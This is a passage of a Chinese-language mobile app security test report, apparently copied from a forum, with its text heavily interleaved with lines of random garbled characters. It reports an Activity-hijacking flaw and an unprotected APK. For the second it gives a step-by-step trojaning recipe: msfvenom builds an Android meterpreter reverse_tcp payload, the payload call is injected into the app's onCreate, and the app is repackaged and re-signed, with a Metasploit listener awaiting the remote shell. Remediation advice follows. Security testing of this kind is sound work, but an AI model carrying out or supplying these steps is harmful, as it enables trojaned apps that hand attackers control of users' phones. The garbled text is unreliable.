3 n& H+ I9 W* g& r5 K
! [- f9 h+ F6 L' K6 |" C
8 H' w. r5 p8 P9 i! k& [: V" j& e$ [+ g; _" t3 p8 H% b; g8 G
2 检测结果
3 L8 Z; V7 R+ ^( |, z0 r/ z8 [! @ D
- C' e, R8 P) t& i, E/ }8 U0 ]$ r
6 Z# R, P8 X$ V6 w+ i) V( X( ^8 e
9 C0 w3 \1 z, r9 O n3 f' I 5 y% q9 G9 D/ e. n1 ?
0 W6 D# d# h9 y; x1 I% C 2.1 某某某
7 P: l d/ e' I9 V) H# I# t$ A
3 R, I' ]2 s& |7 M: n
$ T/ b) K- H* j9 P9 d! ^2 W( e* L) j8 X6 ]" \* z
: d* S1 U4 J: \; Q: J
8 [! I: S& s$ L3 Y, D2 o% e
2.1.1检测目标 + H: q6 c9 @6 Z; d( a, e2 A
1 N1 M: g1 Q6 o% O |3 ]
+ G# M0 F- L" K( l9 S! j9 L D& L
4 f" f; y3 U6 w8 j5 [4 `' x
# C' C1 O! [3 S( u& c3 r% g( S, _' t
目标地址: 某某某某某某APP 5 W: C0 _, m0 J1 c
2 D% c4 C) _! i3 j
4 k3 L0 \- M6 e8 G. G
3 C' c# l, K) \7 j6 r ; A/ W7 B2 t- l: }' {
j' I0 w$ w; {/ _1 Z; |# q 2.1.2检测结果 + g7 [6 Q0 ?* g. `4 N6 |
/ E. A- \; o" E0 e# e1 u' Q/ ~
7 c! P N( i1 d
8 |- E" e {4 t+ R6 y A& d% F# C* O
7 ~2 k. |+ C3 u J
! V7 w3 ^# ^- C8 V 2.1.2.1 ) g4 V# X# ^1 |6 _
* v6 Y( G7 }% |* _% s1 @; z
& H7 Y0 B6 D3 B; D/ s ~8 b- k' @
- z$ {2 @/ w9 {) O1 R( U; K: Z " ]- ]5 z+ a1 z: x- `; N8 _# r
( p, X5 _$ b& K
漏洞链接地址:某某某某某某APP
- d p% O1 K& q" _
1 G3 R; w! o% H6 }* J. N, f
8 M, v! X3 T$ g3 R |9 S1 G
# v% U0 y/ h3 e& \, z9 A . L2 e- Y w. n- a+ Z
% @' O3 U, `' y
9 Q* R4 R* r: }2 g$ Q
# q7 \. V, z3 q3 T
$ m; S7 Z8 o6 O; @- H4 \" K+ y1 m5 e1 c* o) v4 R. T
5 r( d% z0 Y% L% ?% E; f
" \$ A9 @3 x: a g2 r# B0 c# |
漏洞分析及取证: ! D7 B- K a& G( p% w& f v
; t+ s1 n; ~( q# W. h7 Y) [
9 ^9 Q% Q2 Q/ W$ A+ }
! E; s" Z- p$ d. R5 b$ n & o" e& m$ s$ @; b* ?
# j7 D# n3 m" W: {
通过androidkiiler反编译,发现app未进行安全加固, Activity 为com.minivision.cmcc.activity.SubActivity可被劫持,复现漏洞如图:
! i. E5 A }$ W7 h, }- S; }, ^. {2 u6 R8 K0 E4 |
9 |6 F7 p* ?. f% `3 Q P; k
; W% b' s; ]9 k) E& b3 a- H9 A0 x
# B/ X" A$ f' w
( x. M: Y4 j# n! ^3 ^9 q0 q+ P
. G( ]% v3 Z$ B' d
7 K, q% S S3 m9 U7 c
7 w# X3 t) ~/ e( g3 n- d0 k& H- X7 y" E8 U# s+ b
$ E/ S8 l; o% c4 _; U2 N2 C
% y$ k- a: r. N3 a9 ~; b$ r
+ v9 p" g! R K$ S/ {3 Y; e0 s& L4 r# Y2 r$ R2 Z
! R+ E; l1 B- H+ @1 @4 a2 y. h4 f0 j
7 W8 j7 e& t% F: [/ Y& b
, [, B* e) P6 C9 T
; H+ X" A1 Z4 P& ]( D
' S8 j3 A/ b* c M9 C9 k! @8 ^
5 P3 t$ b( a. m' o! B* C
5 m1 a# P; ]" @4 g/ H. t& W4 U( T
/ R* ` `, ?+ L/ K4 H, M1 B2 e
/ D8 I4 y$ |5 B4 j, L5 j! ~. M0 x" G* v
' V5 i3 v8 w; x! r: a
* r1 P+ G1 \: e) s: j& R' ?) x
3 S3 C$ n, u) u$ I# d# v+ r
' b' {4 J9 E6 x4 K3 w1 A9 | ; H7 l: ?; [# R) s7 _
$ v7 g; | k4 y: e0 f
9 |: U! M1 X2 c3 i! U, y3 ?; X0 j: H! W
6 W9 h8 F, g* i4 t$ I' T& ~7 F
6 ~4 Z l" [0 b/ H6 E( z0 p+ m* O
' U% g0 W" C, K0 c+ X' \) ?( b9 g4 |. E |( |) c- ]$ o
漏洞危害:高 9 p0 P, F1 o0 C, N- R) z
. m" y% t( r0 F
1 {6 e% J( g; X' d+ I3 L& @& H& w/ y6 d0 v
7 `( w0 ]% a5 \# c1 U
9 r) I( ~2 A% n9 O ' g! U; d# H0 g' C
# Z; b: x8 D. b% _2 ] # _) G4 F" w2 _$ T5 d
$ b ^1 F* Y) f! `2 @
' Y% ~1 J5 }; e0 L* r
* k. _- s( H$ J2 D/ S# f | 8 S0 Y3 `. g- ?6 a
. n+ k0 q' Y8 B2 c* K" c' ]/ _" ~
" M$ C/ { Z0 I% S* w1 E- } e* X! Z( d2 l1 `) S
严重程度
9 s% \* [1 x5 A8 A# ^4 s- q6 d0 T. l2 C; e1 O! } `, Q d
; x& Z' e5 v' J1 L
" e! a+ G4 K% f% u: J* e8 g0 Q& ]
|
7 ? Q/ `! O5 I; C2 F6 b+ C: ^0 X" }: F5 `/ ], u5 H
: E) p" K9 o; s
' F) t7 `& K- A0 H . v+ j! a2 n/ F6 V: K( [
, s/ \' o9 D O! G3 k! [0 v 高
! \' z+ Z! `; I. }/ O% {, b' j, N3 `5 V7 d) s1 j' N a3 z% v# p0 p+ y8 Q
0 `2 v0 q1 W0 @: I: e, ^% t# Z3 n1 G: l4 X H ]3 t3 S
| 2 F* l+ @& v2 i( `8 W, Z
* O& H( M2 u6 L) r
_% B. H! e% @, |/ L
. B; N4 I8 p X/ R9 Z- O9 L 6 B! @5 Y, I8 `2 k: E
' I! C3 ]; K9 Z' A+ D! q$ g ■ $ p* \/ G6 a( E( f5 T) v9 F4 E
[1 G5 a) p6 Y( y8 x7 C7 @ - d; |# I6 \4 u+ f
; V8 k' N( _: a& ? |
9 O- d! F/ ^0 A; X; V; A9 }; T
# e3 F! E. Z2 |4 V2 I
/ W/ Y. H M( a" [0 w0 a- z. ~( e/ o0 E8 J
1 U0 |/ z! R9 D+ J& m, L7 c$ s( r7 k, @, V: i) W' A
中 3 i. z8 e N1 V
: K J( |" P$ f; h1 x: E) J7 h
5 H1 I* o( @/ ~+ V; ]$ b
; H. W: K! Y3 ]" l! g( P% R |
. o: }7 g* H, F {( `" i" t0 e2 N& o5 g; H& p0 }1 {
+ m/ E& r! }9 P; O
" r' }0 ~' d9 y, j5 n3 X& w g+ x' O! I; A
; f6 _9 f, Z' P+ {: v+ e) Q5 I6 P
& b8 D: }* H. q6 o; x. G9 r' D9 ]3 p2 N. Y. i" J: s' V, `
# s9 e9 V1 q. i# X1 O* V# U1 z' d; { Q$ n; I- X
| 4 m; y2 o; z% P8 x
7 @) |9 R3 [3 I% p, r9 R
8 o$ N" `. j R
7 A6 F" B6 C1 R2 E$ i4 p4 ^
$ d& f2 n" Z( t* F8 \% l3 X) r) ^% z& K- B2 w' x# I
低
5 j4 a6 x1 N2 }" G. [6 S1 p, c3 V. V" g" I! X1 p- s9 ?
* W, c$ q x0 I) \2 j/ K/ [
' L/ Q8 F8 X% x | : O- Q$ C1 Y5 G- C( T k
* t4 j, V( B4 K
- E# q9 e" Z5 p7 F0 [. L
* {) I( |3 Y8 H! A
# T5 p0 U4 X; p0 t" o* C4 l( k+ K# j& A/ Z4 f1 v1 @
- g* [! \( p# D5 c: F7 H6 z+ J
$ r) e$ ^# z2 ~. {& k$ e7 \
2 J( {0 C1 O! p
S) g) X+ X* L5 [! I. K0 D |
$ l9 r) d% c3 p' g0 m& D" c9 v' {6 I. V1 N! y' I) {
. b" [5 _' J( } W5 y6 K% R9 N6 K! b- l
1 ?; |" |! C% x0 E- ]7 C% x( p0 [$ y5 r" P; z. p, j1 M, n& K
7 Q3 [ L5 N% x8 S. B! k5 p
K, h) g h8 p2 b # W9 q* U n* o6 Z7 j
( m* p- E# R6 m/ a9 n 3 |/ Z2 A9 M4 ]% I" t* s
7 D5 z; y5 S8 U0 ^. M) q+ k 0 x) f9 s! q8 g
) ?! n3 B) _$ [& N* @9 x
# P* S, a* M( ]. `+ t T
7 _6 L& m+ Z+ s& k/ ~; }
# Q" r* t" V, F
# j/ Z' K! i& t+ r' o5 R
修复方法:在 APP 的 Activity 界面(也就是 MainActivity)中重写 onKeyDown 方法和 onPause 方法,当其被覆盖时,就能够弹出警示信息。判断程序进入后台是不是由用户自己触发的(触摸返回键或 HOME 键),如果是用户自己触发的则无需弹出警示,否则弹出警示信息。
' i/ c0 @0 @2 }* c
6 B& |+ Q5 x$ z6 R* G
6 j1 d7 M1 ~1 |& |+ x0 ?, \1 U# H+ P8 i# u$ ~
$ `" x. m: U* Z4 O, g
: Q* B U- n5 J$ ]& k* _2 a" M
9 {4 Z; o6 B( x1 T t
+ o5 p' p3 i4 Q7 y/ O4 g
0 m. N) w% L, W; x I* ~7 i$ F
$ U V7 A, I# |9 d$ ?
- b6 d7 D+ h+ N, b. Y3 s2 r
% a+ _# X8 d0 c( o" }9 X
+ \; N+ N4 e3 M/ H; q: G4 o8 d. M' [7 n) ?2 ]2 A
1 M1 K$ W9 Q+ J2 I% X
/ |( p4 \! H5 E7 t( o9 v
5 o9 E4 L& x4 i3 Y3 x. N8 E
. E- V; q$ G8 W, i6 ^6 | 2.1.2.2 6 E2 G, l( k( @/ A+ u
2 f, n! I! `7 ]( u! n
1 p5 [5 H2 C# e; u& U
( u- W" H- o; l' ^! m
# y- A0 I; ?+ @: d; z$ u
' s/ {+ o( U. ]) v' J7 } 漏洞链接地址:某某某某某某APP + w( i5 ]) L. ]
/ O7 e" k4 V" D8 e0 w
5 K8 u- T o: \! C6 Z# k
6 F, b6 S9 n- ~" V+ U- A: d2 u+ K/ g7 }
; S u$ T6 l- S6 c* U( ]8 _. L$ s' r9 s0 _
漏洞分析及取证:
3 F$ V0 s5 ?; F; o9 t2 n) }
" t5 E, n O! Z& G3 V k
( Z7 E. E3 R/ l4 k: \4 r4 M
- k- C) ?; s1 m
( Q9 g9 f; Y w8 S! k) v
/ }" V9 w8 h) C+ V- `. D$ O 通过反编译,发现程序未加壳加密,可直接反编译获取源码,经过测试可修改app代码捆绑木马或者植入广告等操作,复现详细方法如下:
) t5 F( L# @) k3 I' A. ?; I+ E
9 ]. W) w% p7 b0 }2 N8 E8 U
L" x- }, B# x9 t$ j3 R: m6 G
7 X' o7 m) h* g4 o* _& T! W/ r* f
0 O$ o5 n! P0 W7 p# z/ r m
" G5 |, F5 @6 D8 T0 e1 J 用Metasploit 生成木马 apk
: t4 k# |% X; j {, W \
5 [$ n2 T' _8 s7 W, J: [5 i$ P
9 S; H/ _; g( u2 U% x4 j
9 V& y2 r1 U x4 J: L
: a( j$ Z! {0 `$ t& b
$ X. L/ N9 x' R" ?! C msfvenom -p android/meterpreter/reverse_tcp LHOST=192.xxx.x.x LPORT=4444 R > cockhorse.apk 1 `- U( G- h; Z
4 h/ M0 [4 g9 N7 e
3 A- |4 h: }# W, G1 |. j' p( e9 J3 {" x. i% h2 x
" J: Q6 ]9 j/ i6 [! b$ o3 [
4 N/ g* E! O0 a3 e( f! u 反编译目标apk和木马apk - A( W' H9 }0 b1 H$ S
* i0 l8 K/ r# q0 V; k
1 R5 a6 @) i7 O0 n
+ U' r) a/ |6 R) N. l0 N: m ! E9 a( _; _6 q" c" t
1 j5 N- N7 a( \, b5 X7 v8 z, e9 L apktool d target.apk
( ]. K2 m. ]1 z0 H$ c! |6 F8 m1 K- S
apktool d cockhorse.apk 3 f( s3 y1 y. z, x: x% n: P
5 `4 U& z6 P1 \1 J
! ?( M0 M1 ]$ I' A1 X8 f2 |/ t Z1 \4 ~" ]& b( {. O: G
9 F1 y5 Y$ x# a E+ s/ Z4 @+ I% k* e( g/ ~0 M, ?- o* b) e. r, j
木马 apk 注入目标 apk
9 Y% E5 r) A1 R/ Q$ f" D% f9 H5 j5 ^4 z [' D
' e3 ]7 `$ s( u: F7 n6 B/ o+ \5 x2 h0 m9 G9 H+ |
8 V* }6 E5 @( d# k5 C: z) \7 U( P* I6 S- ?2 i$ Q: c
在目标 apk 反编译生成的文件中找到启动 Activity 的 smali 文件,并在 onCreate()方法中添加如下代码:
- T3 k, [* X0 `# h" {! n5 p* P/ m
; ]5 d5 M+ J, p7 z7 {
invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V $ R/ P( L- ]1 q# y1 p* W d
+ ~" R- n% g, U" F2 Z7 p
. T+ [7 l' X$ C+ D2 h7 i2 `7 {; p
' q# f' u- j R/ @7 ~
; N/ R: c: o! @' w3 X; m2 T3 K
7 F/ h0 z9 R- j3 l7 i* |3 r5 S
将木马文件 AndroidManifest.xml 中的权限放到目标文件 AndroidManifest.xml 中,去除重复 6 k' i+ T9 G r4 V3 w
8 K- Y' V/ B2 w2 R/ [5 M
2 D9 F) ?& t3 E5 B0 \5 J7 j
+ u @) z. ?6 j$ I 5 S' B; l4 `( G! v, s$ r( t7 I7 z3 z
7 Y/ _3 u& X/ z. y6 c4 l Y; p 将木马文件的 smali 文件放到目标文件下,例如 com/metasploit 文件复制到目标文件 com/ 下 ) T4 y9 D, h Y# i& J' o" f" l% B
6 g# N5 U+ U9 Y8 Y+ }
7 M7 o e6 D/ g7 K7 I" p
7 ^* b6 L# ^$ u
( O: O2 _3 n o1 u' o4 q' J. |. H" ^5 z/ W/ V
回编译生成最终 apk : d/ K7 J* ^+ @. c( L6 u4 a/ i: }
2 k% ]7 C; t; E% J- B* F- m& P7 f
% m/ @. Y& d( z: q0 g5 W# H. u1 K5 y" H4 e, Z' A" q
: F: R9 w- g" F R& f
4 h2 E1 A' |5 d6 ` 重新打包
0 _5 ?% h6 s4 Q9 U) ?+ l U' K* x- s& p7 W
. i& f. v1 J o, {9 W# H; w
; m+ r, M `' b4 J1 G% W6 p: {
% h) B" g) Y$ m: o! T' i/ p* m
) O9 S& V) R: h" V apktool b -o repackage.apk target_app_floder
6 N$ s/ g8 \& p3 R/ t0 U
0 |4 u: z# `- z5 o# y5 {1 y; s6 r
6 J# P: m+ g& j! [- e
# @) ?* t2 n+ k' { . ?- G1 _- j: `) x
/ k: t4 W) Z/ z' Z 创建签名文件,有的话可忽略此步骤
9 t' {9 H. c& P P6 C
" M) C6 ?' @$ _) _+ m# q8 \( S
3 V5 }' `$ m9 l+ I2 D6 }( c$ @( J" H
8 ~$ S0 K0 w: s" I; m# q! C
& T5 V5 ] w' f9 T3 j
3 f" `) H$ p& x7 D1 V# `* J keytool -genkey -v -keystore mykey.keystore -alias mykeyaliasname -keyalg RSA -keysize 2048 -validity 10000
5 a% O1 O+ K# t; a0 ~8 G8 j0 Z. |- W7 o
8 }& _2 S2 i' g4 l( C& ?" b( ~- C7 ]% i5 v3 D0 l# t
$ T2 u7 _6 c3 v5 r
% m( r! j* [4 {) i2 F, e# f 签名,以下任选其一 ) s) ~( x2 a9 `$ I% a3 i( i J
9 l3 N% C7 Z' X
- C% Q; K: K+ H
+ j% n! z. B4 }) z6 V4 i0 E
* E- S' _: p; }" z
2 i9 m; G1 n* h( X0 d8 z- a jarsigner 方式 ; k$ g. ~5 d3 B5 A, p" y
9 ?+ e. P3 \6 U; `1 p- [
; L- A, Z$ z1 Y: e! I8 z4 B- Y9 I% L @5 D
0 O) E% q. c5 {+ ], [2 c; i
6 H b$ _ i4 I/ d jarsigner -sigalg SHA256withRSA -digestalg SHA1 -keystore mykey.keystore -storepass 你的密码 repackaged.apk mykeyaliasname / r% V1 T0 g* R( ?' q
, ~* k# h( k7 B+ n ]: r G9 d6 K# p) a
" [ C0 ^ E( P: k, z: X; V! m( e/ g2 W' p" n, k
+ {. K: _' W# Q0 ~' y# Q" B
' `' [* j& R& Y2 ^4 {1 h apksigner 方式
- T" l- ?6 ]6 @2 X" H- `! N, h! `2 n' @2 s
6 p$ v( c* U) g9 p
% H1 _" ~2 s( }
; H( s1 v% s W0 N3 [4 U# A2 h2 f) T
apksigner sign --ks mykey.keystore --ks-key-alias mykeyaliasname repackaged.apk 6 H- W( w7 M0 L; ~
0 |' W. n0 J: I& y8 i A2 H2 r
$ q3 ?& m; v8 V5 p2 x
' [6 u" @& v3 s ) r: j0 s0 [4 l, g3 N( @4 Y7 h
* c/ R" u- C L5 r1 K. K U+ k 如需要禁用 v2签名 添加选项--v2-signing-enabled false
9 O% C0 ?$ C2 ] W# q: b9 S' r' t2 @3 ^
5 M& L& V7 c' c- y N
$ H) ~0 b$ f# w+ O% } ( r3 O/ }; r1 K1 E1 u3 ]
+ ^' A; I3 A% S" p+ a 验证,以下任选其一
; I0 ~" P% q' c2 l" w& P, {5 o C3 n) x' _4 f" Y' f6 ?( k* x# m
5 t0 w G# W# f9 ^
' I0 K% b7 t* Y6 C( z3 n
0 q2 ?1 o9 J0 _2 T6 u0 T) Z$ l
3 q& ]# j0 ~! p5 }$ t2 q' C) z Y* U
jarsigner方式 , L9 X# d3 r, k5 ?
^! L% h) d% U! i
9 f% C* b- g) o. [- S8 L3 n
+ p. V4 v# f0 r0 c' i9 |8 v 7 Y- r5 S; N3 u# d' h
6 L/ }% ?* Q1 Z6 m jarsigner -verify repackaged.apk
0 C- p2 M O& D C5 k4 y/ e: T3 m3 y5 ~
1 z; r% j$ B5 b p# P, k6 s
3 @- ?7 X- k6 S: W0 G) c. J
* F- ^5 t& R7 I5 j* D+ F+ v A; W* s1 {: D& p5 O3 s
apksigner 方式
# I3 O6 V. `1 A' @4 e+ V- X. k$ k: |# t, q9 [. Q4 |' u) u: J
0 F* s( T3 y" n9 m% g
; n/ f- I* J3 S0 e+ l0 z
4 }: ?$ e! k8 \& R/ _
, U9 z# g! o4 S; r0 j! i! \
apksigner verify -v --print-certs repackaged.apk 0 ~" z( a( }& N; B4 y! B
) q2 w) S/ ]2 A# P6 Z
j4 I4 `5 U& M
9 ?; C7 B V9 l, u& F; c
: g& M* t: v+ O
- e6 Q) {( L1 t- M$ U$ ~* Z keytool方式 " K/ }% I5 \; W2 u3 o4 f5 C
( s* C2 n# o7 \
$ N" {* B5 A7 V) o4 R! A$ _- U8 s2 d! B4 R6 `: l# `
6 w/ u' D7 M$ h W' C6 l
: ?2 `- j. a: g1 x3 D( F. Q keytool -printcert -jarfile repackaged.apk + I' V" A( q# f0 _& l2 U. K, D7 i
& x% ~; s- T4 a, y1 C h/ x) b
: _$ G) [: N4 i6 ^( x+ H; T. ]
1 r2 h* L* R; [( m
; E/ k% E5 Y5 {2 ?
$ v- o) X5 n1 O3 L 对齐 $ J( S3 O0 U# z) l# K% u7 T
6 Z9 G! K; ?& t% m$ N) V
- r x, E: ?6 q _# Y3 U8 ]
t4 r# ]$ K* Q" f5 Y ; H' B' m; ?* f7 B2 _/ |: L3 v
3 @8 x9 A, W3 O. m 字节对齐优化 2 t7 Y3 k, Q4 G
4 e `" e3 g5 W: t) b b. Q
" s$ {' E$ \* R; R# o4 ?9 x
* a0 U+ p5 C8 _0 ?' P a
" e3 e' A, m5 D6 p, V, t
. m2 y; P9 y s$ ]( G+ C7 @ zipalign -v 4 repackaged.apk final.apk
# b0 P2 F! N- y( o6 `, t0 S: Z9 a+ I7 b3 s! k
9 T& j# u. R1 P% u6 T9 ~3 I; x9 z2 V0 l
$ @) K& a- S9 E! X
1 l0 a5 l* Y9 H% v0 ]! F
检查是否对齐
" f& k8 S/ g, n! Q: a, L% c, F6 Y. ~4 R/ c/ ^% c* l
3 _3 M6 F H, y2 H9 S- U) J2 P
# g' j n8 i' X
% v/ Y8 X' Z) ? Q x' p
: ^) d+ z8 K; t: j& V, t3 I zipalign -c -v 4 final.apk Z0 ]( A, h1 u4 u$ H
. C, Y* p- ~3 E$ D
# c& M* ]# Q; C- a) S
0 L2 p( f1 F% _0 W* L. O$ H* r
# P4 Q# b- E/ d) F X; h: C- q7 }
3 x' x4 a" n; b8 i' z" L8 n 注:zipalign可以在V1签名后执行,但zipalign不能在V2签名后执行,只能在V2签名之前执行 # [" n1 y! `5 [! C+ R
2 p8 I- b: q3 u* c% E3 P6 f- [
3 v* f1 y) W }3 L; Y) F7 i9 y5 a4 ` \
/ R3 S- o6 ?' @. y2 `
|6 W' B2 R% P- @
启动Metasploit控制台,配置参数等待上线 : J' d% `7 w3 U9 |
9 s% j6 ]& y$ ^
8 O6 I, g" x0 x
: a5 N* S0 y$ C! k9 o a* @+ P8 z4 f$ F& l2 a. Y
+ W5 }0 r4 R: a' l% a7 s M
在终端依次输入如下命令
* V$ r8 B" f/ }" y. N
5 `+ w7 U5 O: b; m' g
|0 [' `3 Q+ }+ B+ ]
) {7 F' G% R* x. P5 w) b; K
( P' N, O3 R/ c& F2 B" ^1 l- U2 k0 M4 C
msfconsole
+ }: A4 E# I4 S p: a" L% d5 `+ n' _2 b
2 w4 Y1 ]6 N* r4 t4 \
) x* x6 s' k9 e S% s6 J, a' D# d( r
3 K' u3 N. W6 i
, k4 T* U. ]& W" x use exploit/multi/handler ' O% R/ A% q4 U$ b- Y+ \* Y" \
, X' S. T# v# i( o* L# @: ?8 H4 Z8 c
) t6 Y! @# Q) o: r7 ]+ j
6 s7 r; |/ C) l! v5 I
+ d' T$ ^8 v' i% H& V6 W! E1 s* \( K8 B+ A) N7 q$ ?
set PAYLOAD android/meterpreter/reverse_tcp
1 M3 B; x* [$ }+ u. Q# T7 C# N4 g# {
' l/ ?# I! o1 k( E- c" U0 o7 F8 r2 V0 n6 D: R7 ]& B6 r2 u
8 Z( Y4 h$ B- b3 W/ W/ X& Q9 I) W- y" q9 [
set LHOST 192.xxx.xx.xx ; S! r& ^# p9 G, f6 a$ I+ D
% o0 H. M9 N6 o% F% ?
$ U. O+ h! h7 L
! B) X/ p# B: F' o
, H8 Y. j3 ~& `% N- E" N* v( m2 z, t
set LPORT 4444 ! Q4 [) {" X i( C" e0 o; h
& O4 ^# d" T; H% p+ ~% k
+ R* \( p" C5 f9 w4 k
& f8 ^1 M | {4 \/ @$ [
- R3 J! Q. k( y3 O6 Z$ W& f/ a$ b c; m+ N' M
exploit
9 L' m, [( t z8 _* R
/ n7 }+ |) ^" t ~/ `
$ o2 \& Y, w# }( [& D; T% z
! l* V" A: C; P( E+ `- W
3 z' h: j# S! j% D [
9 e* v; M1 y8 y+ q# `0 {) X( J& I 之前我们把入口放在 MainActivity 的 onCreate 方法中,当启动目标应用进入该界面,就会连接成功,如下图:
" u& F2 w$ H/ k( H6 n8 O7 ]
3 B: b; Y9 K7 g9 O
9 H1 k7 E e, a9 W
1 u* t( B; p o/ j5 H; H
7 P& K. S$ c. y/ Y3 y7 K. k0 y# X
漏洞危害:中
' B8 a) k1 x7 G. V& W7 k
, r) H n4 R! @+ e; j7 U$ n( S
7 ?1 A$ G3 Q+ c0 m6 D! z$ [- d6 ]8 y' z' |' V
$ q: @( j5 o- @4 L. o* g& e
% N+ _4 C# V; B2 e0 m, `% a * q4 a. y- |. W1 z# j2 A/ q
6 j4 U$ e, G& ]# n' z
& }6 J K- K' Z& _ |, H% s; l
( a# `- G# u' J, }. I* A
. d( a+ V- U( `: M0 l
. Q% f+ x. }' `; N y4 v
& h$ {" e) ]; }, q: U5 z! w
M. U5 Z% C, P* b8 Q( M |
6 Z$ o2 ^: w; e8 N5 A1 {5 B- j! g
4 i. b* i3 M, a; j
2 v _* u2 k' `% D1 |0 J5 {6 n% f0 W 严重程度
$ [9 a0 _4 I2 {' H, {$ y1 V7 a. E; a$ T! B* ?4 v
: P5 f- y( O( R5 h7 }. a; d. \, U' `( i5 I8 z/ N
| 1 e2 y8 u& i4 Q) X- q6 e4 Z
* a( v& v: p9 o+ k& ]% E9 ^0 j 5 U$ |- B' E/ @* d) x, E
1 l8 x* w8 W' t6 p8 I# S( [
2 {0 F2 X: e. X! V1 `$ c
+ ?4 O7 {; N+ S4 O) X% b6 B# x. x 高
. i0 G( Y/ V8 R6 j0 D8 Q
' |/ i2 f+ g% v6 T 8 h7 _# W6 a* W4 G1 _8 |: o
0 { [+ ~9 w* }. w
|
X6 r+ ?1 |0 x- G" m$ w; m; `3 c, d U* ~1 N) F
- t& R1 Z# {+ W- i: z9 ?& |" }: L+ J2 B
( a2 H& l6 \( s! h1 I
# V# s9 ~5 l" g! @! \& Q |( j* O! U. y8 O8 ? f% r G4 I
■ . U1 }# k, X# m4 M* h8 F+ Z
8 W! X' c4 x' K9 O' D8 B , G0 S) ]7 `8 c3 c) f
8 U$ i% `. v+ \8 _' C& a/ U( E
|
$ L( x [2 ^0 }3 V! s4 C& T2 d
+ Z$ ^2 {4 E5 t+ k6 {! m5 }1 E+ j - P% M3 n( f+ m$ o
$ C* L3 p5 Y! U; [/ D; L. r
6 l5 ~/ X& q* Q9 w0 Y7 ^. O D. V) ?" b$ x9 a3 r8 V# N, h) B
中 - ?# s" E* P) I! N5 M, e( C! e
# u/ Q- v; }2 v, z5 w* f1 l V, G) R) @( T3 R+ Y- ?6 B
1 d: a1 z* F0 u* i5 o
|
- ]+ w9 O! D; v7 D( s
, ]# H/ ^/ }7 h. Z ( x8 F# @ e. G o# N; R- x# A
' w9 R$ Y" ]" ~6 m# c
- I- `& F. X) @" a5 L
# A) _, `; N3 S; {3 C% C, Q) L
( N i. u( u3 _ W$ o8 t
9 u( S3 J' L1 ^7 h$ \
) ` l5 }5 J: b" ^/ Q8 ]1 P' K5 Y( w: P8 z. Z
" x% e; z" `' c9 u( H
0 W7 I" d2 z: @3 H5 } | 6 b0 I* V6 f* ~3 l
" U! H. \7 l, Y* W$ K+ K" q3 N
) i& P+ q* _: ^) M' |/ G
1 b3 l8 ^$ |' p
* p1 t$ u" }4 l* t4 P3 }5 ?0 `& a; l, G0 y1 r
低
: Y/ B9 H5 E% B) S9 Z9 c! B8 l& N1 ~ k; p F. ~+ R0 o
5 N! X5 k7 A2 w# z7 Q
7 v+ b2 M6 Q7 }, `8 |8 k& M
| - D* y) B8 s$ \# K2 j8 D
( d X. B+ O4 w1 I3 {6 Y
" \0 f G% Z/ @4 Z# v5 r, Q& M: I7 A8 g7 Q; V$ o
: W8 o' n/ L, M% l
+ }- F- q- b& u, e; j" v
, A) m# S$ H! t2 P" G2 |3 v* f. m% D$ {
* T* _) H7 {7 N8 m8 m7 j' c
# C8 N" C. r! j, w2 ^' P
$ j q9 W1 |% f$ W5 A2 J% u7 `0 N* u# r( w, x# x+ y/ f9 z
| 9 h3 f( H: s8 n4 `
; H8 i) e! l: @$ V3 C, q
1 ?! p) m: v: J9 \5 j$ A
' j J W' e& r3 x, i ; p, F% F. {$ m
* l; d' Y- L$ |7 R$ j
: |0 n* {* P. O+ N" z5 D: e& S$ N: N. x( I8 N
0 c( X# |& p7 I7 p. Y [' }
. N" m H; s% O) @
& ?4 t! Z1 o8 h+ u8 E& S1 Z
/ g# S3 f4 s8 w
{( p6 v" Z$ f8 L' U
R8 |9 p% h8 q3 J8 x6 l; l/ i5 l
+ D+ r8 u! l, c( E
. J/ l0 u" V& s0 O8 S: U 4 c9 p2 D+ p- n$ w
9 I! f) c- k* {' k8 n, F 修复方法: " {6 E1 i* N+ M. T
9 }/ t( [) i4 Q
5 n5 U4 r0 J$ Z4 }
: O7 W8 [ J$ Y9 @# S$ Q2 N6 R0 s
8 {4 `: M5 z7 J: j+ a# ^- c8 h0 g& {
1 @" H7 V& ]3 f' J" s; C 1.在 APP 启动时应做签名校验防止二次打包。
/ U4 c2 X7 u, D& B
' S- t* P- i" q* k2 D2 h* J. u 2.建议采用客户端、通信和服务器端联动防御方案进行安全防御。 9 w5 t T L$ j/ t/ }* h
6 B( A ` N# I( ?* }1 F3 f
; N z6 j: t& a& _
1 m' y/ H; P8 M* b
3 n r4 t( D H7 |% B5 x' E" ?; ]- J! G
}/ t: F+ j# O: k( h+ G" ~& n: T3 ?8 E5 Z
3 {, `1 ~2 y9 Z5 k/ k% G1 v5 @) \1 i* `/ e1 \/ {( @
5 b' H% ~! o$ K( {, H) ?- P
& B! I6 C2 J# }1 H
% v; K/ s# u' C& x3 k% G$ D. o0 ^0 Y2 f
2 w/ O; e+ i9 N$ Q+ n) [0 p; C" | l5 s3 a: ~+ ~/ W% s
6 A6 e4 B- }% c5 z2 g8 z* P
?; P0 a) f+ T
7 Z$ P. b% T3 B# n+ i3 f
+ k1 l# A& c4 ^) w1 f! e, M. T& L